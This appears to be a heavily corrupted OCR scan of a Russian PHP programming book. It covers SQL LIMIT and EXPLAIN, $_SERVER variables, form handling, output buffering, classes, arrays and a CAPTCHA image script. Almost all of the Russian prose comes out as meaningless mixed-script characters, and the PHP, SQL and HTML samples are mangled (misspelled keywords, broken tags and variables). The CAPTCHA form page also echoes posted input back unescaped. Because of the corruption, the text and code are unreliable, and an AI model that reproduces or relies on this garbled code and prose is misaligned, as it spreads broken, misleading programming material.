‘CoOGiteHHA BLBOTATCA B Gpay3Ep H NIOTBOAIOT IPOTPAMMHCTY YSHATS O cBOeH OKGKe
1 HCTIDaBHTS ce. B PeaTHbIX YCTOBHAX  PACOTAIONUX Ha CepBCpE MPHTCKEHINTX 5 pe-
KOMEHAYIO HHETO e BHIBOIHTS Ha Kpa. JIHiliHee CoOBUICHHE 1715 Xakepa — 3TO eme
‘o GOTIIOH WAT A €70 TyTH KO B310MY.





index-186_1.png
190 rnaead

SELECT Count ()
FROM TableName
WHERE Kprepion noncra

PesyTaron 3a1poca GyAET BCrO WL OZHO HCTO, A XPAHEHHS KOTOPOFO X5a-
T 1 4 Gafi. Takoe SO cepaep Gast AGHHBIX CMOKET MTHOBEHHO IEPESTS Cle-
Haphio.

2. BuGpars narrsie A1a opmpoans TomsKo 0AHOH crpaniaus. Ha avarsow srane
970 NepBAS CTPAHMIA, W HYKHO BHOPATS nepae N sanvceli, Ecn cTpanyia BTopas,
70 BOWpacw samic N+ 1 10 N+ N # T. 4. 910 nawworo yaoGee u GucTpee 10
ApyM mpiHa

« Korza iph cKaHWpOBaHHH Ga3b1 ZQHHAIX B MOHCKE HYKHHIX 3amiceli cepbep Haxo-
AT nepBsie N CTPOK, O NPEPHIBACT MOHCK H BOIBPAIIAET PETyTBTAT KIMEHTY,
Tlanbrelitiee CKaHMPOBaHHE GeccMBICEHHO, TIOTOMY 4TO KIHEHTY GOTsue 3amH-
et n He wyxHo.

« Tlo cem nepenaetcs Tomsko N x (paswep cTpoKH Aamsix) Gai, “To HaMHOTO
‘MeHbIIE, YN PAsMep CTPOKH, YMHOXEHHBIH Ha 69 M.

B crysae cawofi pacnpocTpaenHof Gasst Aannsx MySQL /Uis pearsaivm Bcero sbi-
IECKA3aHHOTO HYHO HCTIOTG30BAT OIEPATOP LIMIT:
seuecr +
ot TableNane
T v, N

FAle ¥ — CTPOKa, HANHHAR € KOTOPOF, HYAHO BOJBPALIATS PE3YTSTAT, & X — KOTHMECTBO
TpoK. Hanpiwep, <ot noy s Crpoks ¢ 11 10 25, HyHO BIONHHT 3anpoc:
sewecr +

FROM TableName

1, 15

ECH 1e0GXOIMMO OAYHHTS BCe CTPOKH, HasHHas ¢ 50, TO B KAYECTRE N HYAHO YKasaTh,
aweno ~1:

seuecr +

FRO Tablenane

LT 50, -1

Beeraa nonywaifre ot cepaepa 6 AaHHLX TOTbKO Cavie HeoSxOTHMBNE Aamse. Jlae
58pOC MUIHEN KOTOHKH TIOTPEOYET JOMOTHHTENBHX FaTPAT He TOTHKO O CEPBEpa, HO
HOT CeTEBOr0 0GOpYIOBHIHA W KIHEHTa.

4.3.4. Msyuaiite cuctemy

1 noCTapacs 21T b OGUE CheTERNS 05 OTIMILIM, HO Jake coni Bb1 GyneTe
HCTIOHI0BATS TOTHKO KX, TO IHAYHTELHO TIOBKICHTE CKOPOCTS PAGOTH MPHIOKEHHH
 Gasawn Aannsix. Boiice TOHKYIO HACTPOFIKY YIACTCH TPOMSBECTH, TOKO 3HAA CHCTe-
wy. Hanpiwep, CYBJI (Oracle win MS SQL Server) Moxer coSmpaTs cTaTerieckyio
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O srequest Rt — URL-nyrs k daiiry Ges wvenn fovewa win axpeca cepoepa. Ha-
phep, ec Guun sanpouien axpec: hitp://192.168.1.1/adminindex.php, o B moii
nepewenno Gyaer naxomTsca /admin/index. php:

3 5QUERY_STRING — CTPOKA JANPOCA, KOTOPAS COTSPAHT CITHCOK 1apaNETpOB, NEpenat-
HbIX 3ampocy. TlapaveTpsi pasaereHs aMmepeantaw (s), a Caxi NapaveTp veioT
P —

3 5HTTE_OST — MR cepBepa. DTOT NAPAMETp MOKET COTEPAGTS To A HaseHHe, 110
W SSERVER _NAYE, & MOKCT W OTIMYATECH, GCTH Y CEPBEPA HECKOTHKO HMEH;

O SHTTP_USER_AGENT — CTPOKS, WICHTHQMIIPYIOUIAA MPOTPNMY-KIHEHT, HANPHMEP,
"Ha3BaKHE Gpay3Epa, XOTA IT0 HASBAHHE HE BCCTA COOTBETCTBYCT AEACTBHTENHOCTH;

03 5#71e_ACCEPT — nepeviens (aiknos, KoTopsie MoeT 0GpaGoTaT KIHCHT.

K OTHM  Ke  mepeMeWMsM  MOKHO NOTYWHTH AOCTYN  NEpe  Maccd

§_SERVER Usaex nepeseraior.

Cayiouui TPHME TIOKATHIBIET, KaK MOXHO BHIBECTH Ha IKPAH JHASEHIS TEPEMEHHbX

okpyeniA:

<P>DOCUMENT_ROOT: <2~ $_SERVER|[ 'DOCUMENT_ROOT'] 2></p>

<p>SCRIPT_FILENAME: <?= _SERVER('SCRIPT_FILENAWE'] 2></p>

<AHTTE_KOST: <= §_SERVER('HITE_KOST'] 2></p>

2.12.2. Tlepenaua napametpos

Cramwsnie Web-CTpaHHILS BCTPESaIOTCR CHUIKOM peaxo. TIpaxTideck Ha moGom Go-
fee-MeHee. KpYNHOM calfTe HEOGXOTNMO MTOTYHATs OTIpEIETEHHbH BBOI CO CTOPOHS!
nonb30BaTens. Jlas 370ro Ha Aike paswerk HTML cosmaiorcs Gopwbi, KoTopie repe-
sator croe conepamvoe ykasanrowy daitry cuieapus. CAEYIOUUH MPHMED JEMORCT-
PHPYT, Kak cOBIATH hopMY BBOL WMEHH MOTb30BATEN:
<Eomm action="param. php" method"get">
#on nomsaosaren: <input. name:
</tom>

jsexrtame’

¥ Tera <fomm> HYKHO yKasaTh 183 napameTpa:

3 action— WA daiina cuenapws wiu romsiit URL K aitry, KoTopowy nepenaiorca
napaMeTpH! GopMet;

3 method — MeTo Nepexatk. CyWECTRYIOT 52 OCHOBHBIX METOZA IEPEAH NapaveT-
POB— get W post.

Mey Teramh <corm> W </ £orm> MOKHO COIABATH MIEMEHTH YIIDARTEHHS, IHAYEHHS

KOTOpHIX Gy YT NepenaBaTsCs Cuieapiio. BB AaHHOM TIPHNEPE Mbi COMATH TOTBKO OZHO

07e BBOTA (Ter <input>). 316Ch B KAHECTBE HMEHH T10;A BBOTA A YKA3AN Usexriane.

JlaBaliTe TIOCMOTPHM Ha TIDHMEPE, KK MOKHO YBWIETS BBeeHHoe 5 Web-popwy more-
sobaTenen s, Cawbifl NpOCTOH BapHaHT — b alire param.php HCOME0BATS Mepe-
Menmyio Susernane. Jla, Mbl TaKoH IEPEMERHO He CO3IABATH, HO OWa COIIACTER HHTEP-
npeTaTopom nepez sanyckow cuerapus
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4.4. Ontumusauma PHP

M1 PACCMOTPEAH TEOPHIO OTITHMHSALIHH, TIOTOBOPHTH © TOM, KIK MOXHO YCKOHTS pa-
GOTY Gashi JaHHbIX, @ TTIEPh HAM MPEACTOHT YIHATE, KaK K€ MOKHO OITHMHIMPORATE
can PHP-xon. Korza Bbi AU C1aG0¢ MECTO CHCTEMb 1 YGETHTHGS, “TO HeTOTB3YeTCA
HanGonee sdeKTHBHI AITOPHTM, MOXHO TIEPEXOIHTE K ONTHMIHSALAH Koa # PHP-
mHCTpYKuHH.

4.4.1. Kswwuposanue euisoaa

B ssbike PHP €CT, HECKOTHKO MHTEPECHHX (YHKIIH, C OMOULHO KOTOPHX MOAHO
BICTIONHTS GybepH3ALIIO BHBOTA H TIOBHICHTS CKOPOCTS PAGOTH CueHapwa. 18 Hatara
KOUIMPOBAHYA HEOGXOIHMO BHISBAT (BYKIUO ob_start (), & b KOHUE BHISBATH GYHKIVO
ob_end_t1ush (). Boe OIEPALLAM BHBOTA IAHHBIX (HAIDHMED, peint () MEACY BHIOBIMMH
STHX ABYX QynKusii GyayT coxpanss nanubie B Gydepe, a He HanpasasTh kiueny. He-
TIOCEICTBEHHAR OTTpABKA AAHHHIX KTHEHTY MPOHIOTLAET TONHKO TIOCAE B3O8 (yHKLIH
cb_end_£lush (). EC YK ob end_f1ush () He GYIET BHIBANA, TO ZaHHbE GYIYT
HATpABAEH CepBEpY 110 3ABEPLICHHH BHITIOTHEHHS CIICHADHS.
‘Cresytouuili MpHMEp MOKAIHBAT, KK HCTIOTHIOBATS DYHKILAH KOUIHPOB
Py

ob_stare();

17 mmon mwone

o5_end_£lush();

s

Bo Bpews BHITOTHENHA CHEHAPHA Bbi MOXETE KONTpOTHPOBATS CocTosHie Gydepa. Jlis
3TOTO MOAHO BOCTIOTS3OBATEC OTHOM M3 JBYX yHKIUAH:
0 b _get_contents () — Gywkus osspaiae coxepmoe Gydepa;
O ob_get_length () — (YHKILAA BOSBPAILGET paswep BBUIEEHHOTO Gy(bepa.
By(epHIaLIio MOXHO YCKOPHTS €ilie GOTbilte, eci BKTIONHTS cacamue dannx. T
TOTO HYKHO BHITOTHHTS (BYHKILHIO ob_Staxt (), 3 B KIHECTBE APAMETPA IEPEIATS CTPO-
KY ob_gzhandler:
<zpp

ob,_start (*ob_gzhandier"

1/ Bamon. zasusr

B 970w crysac JaHHbe GYIYT NEPeAABATECH KIHEHTY B BILE, CAETOM C IOMOUIBO EZip.
Eci Gpayiep KIHEHTA He MOANEPAHBACT CAATHA, TO JaHHHIE GYIYT NepEAaBaTS s B OT-
KpurTom Buse. Jloxe eciu S0% nOTGI0BATENEH GYYT NOAYHATH CKATHE ASHHHIE, Bt
OKOHOMHTE JOCTATONHYIO 2070 TPAHKE, 3 JHASHT, H pecypeop. KoHedwo, 11 cepepa
7O IUHHE PACKOSI MPOLICCCOPHOTO BPENEHH, BEb MPHXOAITCA BHTOTHATS AWIIHHE
onepaH 1o CAATHIO. 34T CETEBbIE KAHATH CMOTYT 0GAGATHIBATS Gobiliee KOTHYECT-
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ECH niepexenHas svariable — 5TO IHAYEHHE, KOTOpOE NEPEIAETER AOGHIM MOT3OBG-
TeleM, TO KO MOKET TIEPEAAT B MPOTPaMMy SHaseve 0, a Kak WIBECTHO €Ile O Ko~
51 — Ha HOb ZEAHTH HETb35. B NPOTPAMMPOBAHHH ITO NPABITO IPEKPACHO AEHCTRY-
€7 TAK e, KK W B WIKOTLHOM KYDGE MATEMATHKH. TO B BHICUICH MATEMATHKE JETAT Ha
HYIH, 8 Y Hac Bce HAMHOTO TIpOLLE.

EC B KOE MPOrpaNME1 MPOWSOFLIET MIOMIHTKA PAYIETHTS Ha 0, TO ITO PHBELET K He-
KIHOSHTETBHOR  CHTYaIAR. KOHEuHO e KETATENSHO MEPEX AETCHHEM TpONIBECTH
TPOBEpKY THANEHIS, 1 €C TaM HOTh, TO COOBUUATE NOTHIORATENO O HEKOPPEKTHOCTH
amaen.

ECIH 'TO-T0 MOHO NIPOBEDHTS H KOPPEKTHOCTS SHAUEHHS, TO KOHEUHO A 5TO HEo0Xo-
MO CAERATS, & He MIPOCTO FAYUINT OUIMOKY.

2.12. Tlepepaya AAHHLIX

Korza cuenapuii 3amycKaerca wa sumonviene, nirrepnperatop PHP covaaer MuokecTso
Tepewentsx. UaCTh H3 HAX CONEPAHT HHGOPNALIIO O CePBEPE H OKPYXCHHH, B KOTO-
POM PABOTACT CICHADHT, & UACT MOAET CONEPAATS JAE, KOTOPHE TIEPEa CePREPY
xanent (Spaysep).

S He ZyMalo, 'TO MMEET eMbIC YrAYGARTLCA B cTapie nepcun PHP 1 06cykaaTs, kak
O NepeAaRaH napaveTpsi. Yokt OBEIONACHTS Ceb, Bt AT YCTaHORMTS CAMYIO
nocneaoN0 nepeiio MiTepnperatopa PHP, nosToy He GyAew BCTOMMHETS CTapsic
BOMCIKHOCTH, KOTOPHIE YK He HOATEpAHBAIOTEA.

2.12.1. TlepemeHHbIe OKpyXeHUs

B NApAMETPH OKPYKCHIA, KOTOPHE IIEPEAROTCA CUEHAPHIO, MOMCLIAIOTEA HHTEPIpe-
TATOPOM B MaceHB §_SERVER. Ha PASTHSHX KOMITHIOTEPAX STOT MACCHB BHTAXIHT f10-
pasmowy.

'V PHP €T CIEAYIOUIHE Nepexentbie OKpYACeHILE, KTOPHE BaN NOTYT TIDHTOTHTBCA

3 S00CUMENT_ROOT — MyTh K KATANOFY Ha CEPBEPE, 1€ PACTIONAracT ClieHapHi;

O sscarer_FrLeNasE — nyTh k enomsewomy aiiny wa cepaepe;

O sseveR_AooR — IP-aTpec cepaepa, Ha KOTOPOM SaMyuten CueHapwii;

O SSERVER_PORT — MIOPT CepBepa, K KOTOPOMY MORKTIONHICA KIMEHT A BHITOTHEHHS
aanpoca;

O SSERVER NAYE — MM X0CTA CepBEpa;

0 sserver_prorocor — sepers HTTP-npotokona;

3 srem07E_AooR — IP-anpec KowmbioTepa, 3anpocBmero dai cuenapw;

0 SREHOTE_FORT — TIOPT YAGTEHHOTO KOMIIGIOTEp, C KOTOPHIM YCTAHOBIEHO COEMHE-
Hwe;

0 SREQUEST METHOD — METOR (GET WM EOST), ¢ NIOMOUISIO KOTOpOrO Gbtt 3anpoten

cuenapif;
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Pe3YTATE Bb1 YBHINTE TAGTHLY, COCTORULYIO W3 CAEAYIOHX oieH:
table — MM TAGTMUL, YHACTBOBaBUIEH B 3ANPOCE;

type — THI oGBeIHEHNS B 3anpoce. ITO Noe OuEH BAHO, NOSTOMY oBpaualiTe

BHHMAHHE HA COTCPAMLCECS YIech IHIUEHHE. A B KAYECTBE CONEPAMMOTO M0AS

NMOKHO YBWIETS Crezyiouee:

o systen— CHCTEMHOE OGBEIMHERHE; HCTIOTEIYETCA, KO B TAGIHILE TOTEKO OTHA
cTpoxa;

* eq_ref — OTHA CTPOKA YKa3AHHOM TAGAHUS! COOTBETCTBYET HECKOTIKHM CTPOKAM
comanmoi TaGaIe;

ot — HECKOTIRKO CTPOK TAGTIHIIN MOTYT COOTRETCTBOBATS TPYTIe CTPOK M CBA-
aammofi TaGaMus. TaKoe IMANEHHE HOKEATETHHO, HO BIIOTHE PEATHHO, €CTH
HCTOTIYETCA He YHHKATBHE HHIEK, T €T HEGOTHIIOE KOTHHECTBO MOBTO-
penii;

* xange — JLIA BLIBOA PEIYAVTATA GYIET HCTIOTH3OBATECA ONPEAEHHI AHANG3ON
maennit;

© ALL— UK KiKAOH CTPOKH H3 CBR3ANHOM TAGTHUS GYAET MPOCMATPHBATECA BC
Texyuias TaGua. Takoe GHBAET B TEX CAYNARX, KOTIA HET HHIEKCOB, NIOTESHEX
aanpocy;

* tndex— A% KEKIOH CTPOKNH CESANNON TIOTHIII GYACT TIPOCATPHBATECH bEs
oKy TABINL, HO IpH STOM HCTIONLIYETCR HHIEKS;

possible_keys — MIIEKCH, KOTOPHE MOTYT HCIOTS30BATECA B 3anpoce. ECiu Miiek-
OB HeT, TO WX BBEICHHE — OIUH W3 PEATHHbX CTIOCOGOB TIOBHIICHHS TIPOWSBOTH-
‘TemmocT;

Key — €CAM B TIOJIE possible_keys YKAHIBAIOTCH BOSMOKHHE HHIIEKCH, TO B JAHHOM
O MOKa3aH TOT HHAEKE, KOTOPHIH HenoaBI0BATCS;

ey Lon— nama KO%;
£ — io7e WK YCTOBHE M CEKUNH HERE, KOTOPOE HCTIOTI0BIOCH b HHLEKCE;
£os — KOTHHECTBO MPOCNATPHBAENIX CTPOK /1% NOTYiCHI pEsyBTaTa;
extra — AOTOTHMTETHHAA WHPOPMALI.

1 TAKKe He PACCMATPHBATH TIOBHIIEHHE MPONIBOMNTETLHOCTH 30 CHET HIMEHEHHH

aNAPATHOR HACTH. ITOT METOR TPEGYeT GOTbLLN SATPAT, TAK 'TO ¢ HAPALIBAHNS -

IPATHOTi HACTH HAUMHAIOT TOABKO HEOKITHBI MPOFPAMMHCTS. XaKepe! BCera HadH-

HAIOT © WaMEHEHIA TpOTAMMHOR YACTH, & TIOTOM YK OGPLAIOT BHHMAHME Ha anna-
pamyio.
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Merox getspeec J0mKeN BepiyTS Haw Tekyuyio cxopocts. Tak Kak sHewmmil Mup He
MOACT OGPAILATECA K NIEPEMERHOt HATAMYIO, HYKHO GYACT HCTIOH30BaTS STOT MTOL
TOG METOR BEPHY JHAUCHHE, HYXIHO HCTIOTHIOBATS GIORD xeticr, MOGAE KOTOPOTD
WIET YA€ HETOCPEICTBEHHO BOYBpALLACNOS JHaeHHe:

rn Sthis->specd;

To €CTi A0GA0BHO 9T CTPOKA UITACTCA TAK: BEPHYTh SHAUCHHE IEPEMEHHOII speed Te-
Kymero oGwexTa.

Ve, 51 TOTBKO 4TO CTYHaiHO (3 MOKET W CEIHATHHO) COOGULT BaM €ule OTHO HOBOE
TOHATHE — oGbexm. 51 MOHHMAIO, MHOTO MHQOPMALIH W, MOXET GHITh, b TONOBE YKE
Kalua, 10 ZQTLHEFLIAA TPAKTHK TOTKHA GYIET PACCTABHTS BGe Ha CBOM MECTa.

HITGK, B MHpE CYUIECTBYET MHOKECTEO KOpOGOK TIEpea, H Ha aBTO3IBOE 10 OTHOH W
Toft e CXEME BHXOIHT C KOWBEHEPA OTPOMHOE KOTHHECTBO KOOSOK. Ot CAETAMS 110
OOl CXeM, HO Y HIFX CBOW CBOFICTBA. KaKiak 13 3THX KopOGOK GyieT OGHeKTOM.

TIo YMONSAHHIO OHM CXOIAT ¢ KOHBEFieDa OTITIONEHHBIMH, HO KOT1a KOOOKY TIOCTAB#T
Ha ABTOMOGHTS, i ABHIATEIb MOKCT WavaTh neperasats, mpautehne. H ot TyT oTor
KOHKpETHBH OGbeKT HauHeT paGoTaTh. Ha TECTOBIX CTEHIIX MOXET TECTHPOBTCA
NHOKECTBO KOPOGOK, H KIKA2S 3 HHX GYZET paGorars Ha choe CKOpocTH,

Hirax, covnams Howkii 0GbeKT (MMyCTHTS ¢ KOWBeiiepa) B MpOTpANNMMpOBANIH OYEHD
npocto:

St = new Tranamission(5);

Onepatop new coviaer HoBMI OGHEKT Knacca, KOTOpHI YKA3H MOGHE OMEPATOpa.
B KPYCHIX CKOGKAX NEPEIAIOTCA JHAEHHS KOHCTPYKTOPY — 5TO METOX _const ructor,
Koropuih Mt oGbAwIeTH. O He obgsaTesen. ECT y Kacea HeT KOHCTPYKTOPA WK O
€T Ges MaPaNETPOB, TO B KPYTIBIX CKOGKAX HYETO YKESHBATS HE HATO.

A GCH HAM HYHO 2156 TPAHCMHCCHH 1A TBYX Pasibix Maurki? Bes poGiew, suisbisa-
€M TOT Kox TBKIS:

St1 = new Transmission(s);

562 = new Transmission (5)

‘Teneps b ABYX PAVHIX TIEDEMEHHBX 5¢1 W b 5t2 GYAYT HAXOAWTHCH 1182 PASHBIX OGbeKTE
OIHOTO 1 TOTO e KAacca. Y HHX OIIHH H TE KE BOMOXHOCTH (METOTH), HO 3 CHeT TOr0,
TO O HAXOASTCH B PASHOT TANSTH, y HHX COGCTBCHHbIE CBOJICTA H OWH MOTYT patio-
TS He3ABHCHMO.

10 ouer, KpaTKIii SKeKype B Kiaccs. JIOCTATOUNMH JUTA TOFO, YTOGH MOHHMATS MaTe-
puan xamrn.

2.10. Maccuetr

Maccuus — 370 CIMCOK sHaseHMi, JOCTYI K KOTOPHIM MOAHO IOTYSHTS C NOMOLISO 07
HOMi TOIKO Mepeventiofi. JIOCTYIT K EMENTaN MACCHBS OGECTIEHBACTCA C MOMOIHIO
HHIEKCA, B KAHECTBE KOTOPOTO MOAET BHICTYTIATh CAOBO WK HHCI0. EGH 310 WHCT0BOH
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public function setSpeed (Sspeed) {
Sthis->speed = Sspeed;
)

public function getspeed() {
return Sthis->speed;
'
)

Kntcen 06SARIAIOTEA € TIOMOILIO KIIONEROTO GO cLa33, IOGE KOTOPOFO WACT Myl
5 urypHbIX coGKax ommcanie. Kaxasiil K1ace MOXET COCTORTS 13 CBOMCTS (mepemen-
HBIX) W W3 METOR0B. B Haulew GiyNae €CTh I8¢ TIEpeMERHH, TIOTOMY STO Ml CTPOHM
CHIBHO YTIPoEHHYIO KopOGKY mepera:

privace ssceps = 55

privace Sspeed = 0;

Tlepex Kek0H NEpeMERHOM BEi MOKETE YKASHIBTS THN A0CTYTIA K Mepenertbi. Kinio-
4€B0E CTI0BO private TOBOPHT O TOM, 4O K epEMEHHOH MOXHO GYIET 0GpATHTEC ToTb
KO H3 KO 3TOrO K1aCed, T. ¢. BHYTPH GHIYPHIX CKOGOK, KOTOPHIE OTKPHIBAIOTCA 1IOCAE
¥MEHY K1acCa. 38 MPEETaMH ITHX CKOGOK A0CTYIIA K prvate-TIEPEMEHHOH He GYIeT.

Tloros Mot OGbARIseM GYHKIIO _construcor. GYHKLHH, KOTOpHE MpHHALIEXAT
KICCaM, HAHBAIOT Memooaw. JISOMHOE TIOTHEpKHBAHHE TIEPE CTIOBOM JAHHOTO METO-
18 BT TOTOSPHTEABHO, H He 3ps. OBBINHO BCE NOTIOIPHTEIIBHOE CTAHOBHTCA WHTE-
DECHBIM, 3 K€ HE 3R PELLIAT TIOCTABHTS A TIOZEPKAHBAINHA B HAUATE HNEHN.

HINs METOmA _const ructor HMECT CTIELMATBHOE SHAYEHHE. JTO METOI, KOTOp Gyzer
BLBATACS GBTOMATINIECKH NPH CO3IAHHH HOBOTO HKICILIAPA KACCa. 3ayMHO H Hero-
HaTHO? CeKyHI, CKOPO B CTaHeT NORSTHEE.

JaThite Wy 2152 METOZa — setSpecd H getSpeed. XOPOLIMM TOHOM B IPOrPAMMHPOBA-
HHI SBTACTCA ACTATS CBOFICTBA JaKPHITHIMH, SOOI K HHM He GBI A0CTYIIA W3 BHeLIHE-
O MHPa, & 114 PAGOTE C NIEPEMEHHAINH COIABATS METOH, KOTOpE GYAYT OTKPHTHH.
1 184 METORa Kak i % PaGOTH CO CBOACTBOM speec.

Tlepex HMEHAMH METO0B €CTh KITIOYEBOE CI0BO pub ic, KOTOPOE YKAIHBAET Ha TO, 41O
METOR BT MOCTYHBIM ) KOAR 33 NpeEnaH Knacea. CBOACTBA He IOCTYTIHSL, & Me-
o aceTynen. Brionme norHo.

MeToR setSpeed b KatecTe NAPAMETpa NOTYHET IHaveHHe HOBOH CKOPOCTH. HroG ero
JCTAHOBHTS, €10 HYXHO COXPAHHTS B TIEPEMEHHO spee, KOTOPAA IPHHALTEANT KTAccy.
TUA% 20CTYTIa K TepEMEHHO KIaGea HYKHO HCIIOTL3OBATS KIIOHEB0 CAOBO this.
Sthis->speed = Sape

OBpaTHTE BHMMaHHe, \TO CEBa OT IHAKA PABEHCTBA CHMBOT § CTOHT MEPEN this, & HE
Iepet WMEHEM nepeMenHOli specd. S1 HE IHaI0, MIOYEMY COITATEH A3HIKA. PEWILTH Clc-
70Ty WMEHHO TaK, HO KOTIa Bl 0GpAULACTECk K MIEPENEHHOMi Kiacea, TO HYXHO nHCaTh
#MeHHO Tak. TI0 chis M KaKk Pas MOXEM H TOHSTS, STO CAEBA OT IHaKa "pasHo” Mbi G-
palLiaENCA K CBOVICTRY Kiacea, & CrIpaBa 310 TPOCTO TIEPEMEHHAR, KOTOPYKO METO 1oy
1 B KaecTBe napaveTpa.
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MHIIEKC, TO OH IPHHUMACT SHAYCHUL, HAUHHAY C HY7A, CCTH B ABHO HE YKA3HBAETE IHa-
HEHHS EMeHTOR,

Maccinei HMeHYIOTCH Tak e, Kak H TIEpEMEHHEIC, HO TIOCTE MMEHH YKASBIBAIOTCA KBAI-
paTHBIe CKOGKH. B CTEAYIOUIEM TPAMEPE B MACCHB 0GABTAIOTCA TPH coBa: “TOpT,
"X7e6" 1 "MOpKOBS":

sgoods)= "
Sgoods )=
Sgoods 1=

UTOGb BHIBECTH Ha IKPAH HYEBOH YIENEHT, HATHILIEN MM TIEPEMEHHOF, &
HBIX CKOGKaX yKwKeM HHTEpecyIOuIH Hac Hnewent. Hanphwep:
print ("<p>Sgo0ds (01</p>") 5

KBapar-

B AQHHOM DHMEDE BO BpeMs AOGABIEHHS JMEMEHTOR K MACCHBY Ml HHYErO He YKa3hi-
HTH B KBQIPATHEIX CKOGKAX, MOSTOMY KAKAOMY HOBOMY EMEHTY TPHCRAHBACTCH -
PeHOT HHIEKC, KOTObIH YBETHIMBACTCA Ha eTMHHLY. BO BEMS COVIAHHA MACCHBA Bt
NOXETE ABHO YKAXATS HIIEKC KEKIOTO 7eMenTa. Hanpinep:

Sg00ds (0]= "s0pr;

sgoods(11= "xre
Sg00ds (2] "woproms”s

10T €10COG Y0GHEE, TIOTOMY STO B! KONTPOTHPYETE MILACKCHM, KOTOPHE HCTIOTEIYCTE.
TIpw 5TOM MOHO OGBABIATS STCEHT B TIOGOM OPAIKE H HEODRXTENSHO HCTOTE3O-
T T

TlocMOTpH, 0 MOy HTCS, €cTi ZOGABHTS HOBAIE HTEMEHT K STOMY MaccHBy Ges yka-
SaHHS HHLIEKCA, T. €. CAEIYHOUAM OGPIION:

sqooda(]= "rapropens”

DOMY 3eMeHTY Gy IeT MPHCBOEH HHIEKC, KOTOpS OKEXETCA Ha | GOTbIIE MAKCHMATE-
HOTO W3 CYINECTBYIOMUAX, T. €. HC70 10,

B CA€ZYIOUIEM NpHMEpE TIOKA3AHO, Kak MOXHO CO3IABATS MACCHBHL, B KOTOPHIX B Katie-
TBE HHIIEKCOB BLICTYNAIOT CHMBOTH

$300ds ["ca”]= "ops
S300ds (5] = "xrec”
Sq00ds [Cx") "opKOBL;
echo(sgoods ["b")) 5

KaK By, pasinia MeaTy SHCOBBIMIH H CHMBOTHBIMH HILIEKCAMH HEBETHKA.
Bonee miTenneKTYATbHA CTOCOG COVIBHHA MACCHBOB — HCMOTLI0BAHHE (yHKIH
array()

Sg00ds = array("sops”, "xnes", "wopkoss™);
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HBIX BBILIE METOTIOB. A WMEHHO COSIATHM W3OGPEKEHTS, HAPHCYEN Ha HeM CexpeTHiti
KO M HATOAHM Ha HETO LIYM C NOMOUISHO THHHH.

Hirax, coszanum ai protect php  3amiuew s Hero cozepmmoe aneTsnra 3.3,

Tcranr 33, Cushaph coraaninTecra CAPTCHA i

session_start();
header (“Content-type: image/png”);
$ing = inagecreatetruecolor (130,24) or die('Cannot create image’);

imagefill(sing, 0, 0, OKFFFFFE);

5xe0;
si=1;
Soum = "
while (5it+ <= 5) (
imagectstext (sing,
rand(14,18),
rand(-12,12),
Swesx20,
I5+zand(0,5),
imagecoloral locate ($ing, rand (0, $1425), rand (0, $1+25), Fand (0, $1:25)) ,
“arial.cee,
Send=rand(0,9))
Ssum = Soum. (string) Semd:
irageline (sing, O, rand(0,24), 130, rand(0,40), SDDDDDD);
y
§_SESSION(secret_number) = Ssun;

imagepng (3ing) ;
imagedest roy (ing) 1

JlaaffTe paceMOTpHN, HTO 31Ch IPOHCXOLHT, Tem GOiee SO ¢ KApTHHKAMH Mol TIOKE
elle He PAGOTATH H b ITOM CUEHIPHH MHOTO HHTEPECHOTO.

Cpasy nocie samycka cearca wbl BsIBBaCM dYHKINO header ). CAEAATS 570 crenyer
20 BHIBOTA KAKOR b1 TO Hi GbU10 WHGOPMALIAH, TIOTOMY MTO OHA AIAET 3ArOTOBOK 10~
CeIyIOHX aHHBIX. ECTH bbl HE BBOBETE STY BYHKLIMIO, To GYIET CO3IAH Jarononok
10 ywonsanio, KoTopsik coorseteTayer HTML-crpanwue. Hau cuenapuii Gyzet cos-
_ABATh KAPTHHKY, & HE CTPAHHILY, M0ITOMY M! BBISBIBAEM GYHKINIO header ) H YK~
BAEM B KaECTBE NGPAMETPA "Content—type:  inage/png” JIaNHli THII 3arQI0BKa Ompe-
AeTReT KapTHiKY B GopwaTe PNG, # HMEHNO €€ Mbi AOTKH! CEHEPHPOBATS B ClHa-
P,

Tlocse 3100 BhizBIBaETER PyMKI inagecreatetruecolor (), KOTOPAS COVIACT KAPTHHKY
B NaMATH Ceppepa. B KaUeCTBE NAPAMETPOB MIEPEATIOTCA TPEGYEMHIE WHPHHA H BHCOTS
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<titlesing captchac/titie>
</neac>
<body>

Sf (5_SESSION(secret_mumber] == ")
«
5 _SESSION[secret_number) = "ABCD";
)

if (1sset (s_posT[context]))
«
i (3_sESSION"
«
Pcnloiizong secret mumber</hl><?
'
else
«
2>hl>You are the best</bl><?
)
)
<form name="product™ action="nessage.php" method="post">
<table width="1008" border="0">
<ta><pbun nomsosavenn:</p> </td>
<td>cinput nane="username valus="<? print (S_POST(usernans]); 7>
205/t

ecret_nutber") 1« §_POST(pkey])

</

<er

<td><poKerstenmapiti: </p> </t

<td>ctextarea cols="S6" name="Comtext” rows="70" wrap="virtual'>
<2 print (stripslashes (5_POST[comtext])); 7></textarea></td>

</ee>

<td ><pon SesonacuocTs:</p> </td>

<td><input nane="pkey" value="" size

/e

</eable>

<p><input type="submIE” values"CoxparTh"></p>

</form>

</oty>

50%> <ing src="protect.php” ></td>

B 5TOM ClLCHAPHH HaN TAIOKE HYAHO JATYCTHTS GeaHe, 'TO0H MOKHO GBUIO BHAET 3Ha-
wenwe cexpertioro koza. Toce 370ro waet PHP-KOA, KoTOPSii Mbi PaccwoTpuM syTh
noske, u HTML-K0A OpMH, KOTOPYIO BHHT N0M630BTeth. HTOGH OTOGPEMTH Kap-
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Kapriiks. Cpasy e JanOTHAEM BCIO OGIACTE KAPTHAKI GeTHiM (BOHOM C IOMOMIHO
ymKLN nage£iil ().

o 4715 pHcoBaws roTOB. JamyCKaeM HK 3 IATH LIArOB, Ha KEKIOM AT KOTOPOTO.
prcyem omy cayuaiiiyio LGPy W AMHHIO CO CTYUANHBIMM KOOpANHATANK. B TOM Ke
LIAKIIe B 70GABTAEM K TIEPEMCHHOR 5. HAPHCOBAHHYIO LDPY. B 5T nepemenHof
M COBPACM CreHepHPOBaHHHIH KO ST B OIHO LEAOE.

MPAMEAHHE
(OGpATHTE BHUMaHW, TO B CUEHAPUY HCTONL3YETCA WPHCT 3 Gaiina arial . OT0 WpHDT
2 CTRHAAPTHOR NoCTaBIH Windows. 71 He yBepen, 70 y MeHA eCT 1paeo PacnpOCTPRHTS
©r0 chaiin Ha ANCKE, NOITOMY ECAW 861 XOTHTE WCTIONL30BTS MO CUCHPH, TO IMEHHTS.
